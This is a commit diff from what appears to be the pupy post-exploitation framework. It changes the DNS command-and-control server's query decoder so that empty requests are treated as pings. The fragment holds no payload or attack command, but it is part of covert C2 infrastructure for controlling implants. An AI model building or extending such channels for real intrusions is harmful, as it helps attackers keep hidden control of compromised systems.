dnscnc/server: process empty requests as ping requests

2019-07-01 22:26:13 +03:00 · 2019-07-01 22:26:13 +03:00 · 6c9d9d13d9
parent 61882c6868
commit 6c9d9d13d9
1 changed files with 6 additions and 2 deletions
--- a/pupy/network/lib/picocmd/server.py
+++ b/pupy/network/lib/picocmd/server.py
@ -742,8 +742,12 @@ class DnsCommandServerHandler(BaseResolver):
        return response

    def _q_page_decoder(self, data):
-        domain = data
-        parts = data.split('.')
+        domain = None
+        parts = []
+
+        if data:
+            domain = data
+            parts = data.split('.')

        if len(parts) == 0:
            raise DnsPingRequest(1)